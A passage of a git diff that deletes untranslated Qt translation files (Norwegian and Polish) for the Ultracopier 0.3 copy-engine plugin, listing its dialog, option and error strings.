- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/no/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/no/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/no/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/pl/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/pl/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/pl/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
